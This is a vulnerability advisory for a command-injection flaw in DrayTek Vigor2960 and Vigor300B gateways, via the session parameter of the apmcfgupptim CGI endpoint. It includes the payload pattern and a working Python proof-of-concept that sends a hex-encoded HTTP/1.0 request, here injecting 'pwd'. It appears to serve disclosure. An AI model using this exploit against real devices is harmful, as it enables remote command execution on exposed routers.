Summary

DrayTek Gateway devices, including models Vigor2960 and Vigor300B, are vulnerable to command injection via the web management interface. The vulnerability can be exploited by sending a malformed HTTP request to the /cgi-bin/mainfunction.cgi/apmcfgupptim endpoint. An attacker can inject arbitrary commands by manipulating the session parameter, affecting over 66,000 Internet-connected devices.

image.png

Affected Devices

Hardware Version

Software Version

Affected Component

CWE

CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')

Proof of Concept

The command injection occurs due to improper input sanitization of the session parameter under the apmcfgupptim endpoint. The injected payload xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0\\xb4%52$c%52$c<INJECTED_COMMAND> results in command execution on the target device. It is crucial to emphasize that the exploit only works with HTTP/1.0 requests.

The Python script below constructs the malformed HTTP request and sends it to the target device via a raw socket connection. The request is crafted in hexadecimal format and converted to binary before transmission.

cgi_apmcfgupptim_attack.py

import socket
import socks

def send_http_request(host_ip, host_port, request):
    socket.socket = socks.socksocket
    try:
        with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
            s.settimeout(10)
            s.connect((host_ip, host_port))
            request = bytes.fromhex(request.decode())
            s.sendall(request)
            print("HTTP request sent:")
            print(request)

            response = b""
            while True:
                data = s.recv(4096)
                if not data:
                    break
                response += data

            return response.decode('utf-8', errors='replace')
    except Exception as e:
        print("An error occurred:", e)

if __name__ == "__main__":
    host = '<TARGET_IP>'
    port = '<TARGET_PORT>'
    
    # the injected command is `pwd`
    request_apmcfgupptim_pwd_binary = b'474554202F6367692D62696E2F6D61696E66756E6374696F6E2E6367692F61706D63666775707074696D3F73657373696F6E3D7878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787878787830B42535322463253532246370776420485454502F312E300D0A0D0A'

    response = send_http_request(host, port, request_apmcfgupptim_pwd_binary)

    print("HTTP response received:")
    print(response)